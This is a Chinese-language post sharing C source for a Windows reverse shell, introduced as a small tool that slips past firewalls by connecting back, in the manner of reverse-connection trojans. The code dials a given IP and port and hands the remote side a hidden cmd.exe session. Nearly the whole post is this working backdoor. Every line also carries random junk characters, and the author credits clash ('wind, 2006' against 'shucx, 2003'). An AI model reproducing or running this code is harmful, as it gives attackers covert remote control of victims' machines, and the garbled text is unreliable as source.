这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z{9
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/* ============================== cc*xHv^
Rebound port in Windows NT ?)8OC(B8q
By wind,2006/7 z A ~aiX
===============================*/ SuO@LroxTB
#include Sk~( t
#include 5IwQ<V
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#pragma comment(lib,"wsock32.lib") -f{NVX\<0
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void OutputShell(); qu}&4_`%:V
SOCKET sClient; &Z.zem?n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P?.j
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void main(int argc,char **argv) "_g3{[es!
{ Cwb}$=p'
WSADATA stWsaData; q|;Sn
int nRet; m(B,a,g<
SOCKADDR_IN stSaiClient,stSaiServer; A6 D@#(D
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if(argc != 3) yV'<l
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{ 6r|Bi HP
printf("Useage:\n\rRebound DestIP DestPort\n"); e>OYJd0s
return; K}r@O"6*\
} +2ZBj6 e9
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WSAStartup(MAKEWORD(2,2),&stWsaData); ggy 7p44
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2l8TX #K
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stSaiClient.sin_family = AF_INET; ",qcqG(
stSaiClient.sin_port = htons(0); }Q=@$YIesD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MFHc>O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T!iRg=<bz
{ NV[_XXTv7
printf("Bind Socket Failed!\n"); Qd{h3K^hlu
return; {m<NPtp910
} pE^j Uxk6
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stSaiServer.sin_family = AF_INET; DKvNQ:fI>9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P ]prrKZe,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OLl?1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x+X^K_*
{ Me.t_)
printf("Connect Error!"); #nzVgV]
return; =LUDg7P
} TqZ&X|G
OutputShell(); w`77E=
} PXH"%vVF
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void OutputShell() OE"r=is
{ C4`u3S
char szBuff[1024]; ,o_Ur.UJ
SECURITY_ATTRIBUTES stSecurityAttributes; knPo"GQW
OSVERSIONINFO stOsversionInfo; z1WF@Ej
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IhRYV`:
STARTUPINFO stStartupInfo; f"wm]Q59
char *szShell; MmvMuX]#)
PROCESS_INFORMATION stProcessInformation; gLH#UwfJ
unsigned long lBytesRead; ckZZ)lW`*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S]P80|!|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o
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stSecurityAttributes.lpSecurityDescriptor = 0; M<
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stSecurityAttributes.bInheritHandle = TRUE; d- wbZ)BR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~I+}u]J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v+3-o/G7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XHN`f#(w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Yuy%VT
stStartupInfo.wShowWindow = SW_HIDE; H"_]Hq
stStartupInfo.hStdInput = hReadPipe; 77:s=)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; T{L{<+9%
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GetVersionEx(&stOsversionInfo); lF=l|.c
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switch(stOsversionInfo.dwPlatformId) dZ
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{ \[-z4Fxg|'
case 1: s`bC?wr5h
szShell = "command.com"; 49BLJ|:P?
break; `$X|VAS2
default: Tath9wlv6;
szShell = "cmd.exe"; P p}N-me>_
break; \n@S.Y?P
} $S"QyAH~-a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Tz=YSQy$9
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send(sClient,szMsg,77,0); B>^5h?(lt
while(1) l*+"0
{ :\0q\2e[<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ) OqQz7'
if(lBytesRead) S+i .@N.^
{ NMSpi[dr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $ljgFmR_
send(sClient,szBuff,lBytesRead,0); u%^Lu.l_c
} T4W"!4[
else doCWJ
{ fs]9H K/@\
lBytesRead=recv(sClient,szBuff,1024,0); ,|: a7b]
if(lBytesRead<=0) break; /12D >OK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A2`QlhZ
} qM`XF32A$
} mErXdb|L
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return; AUloP?24
}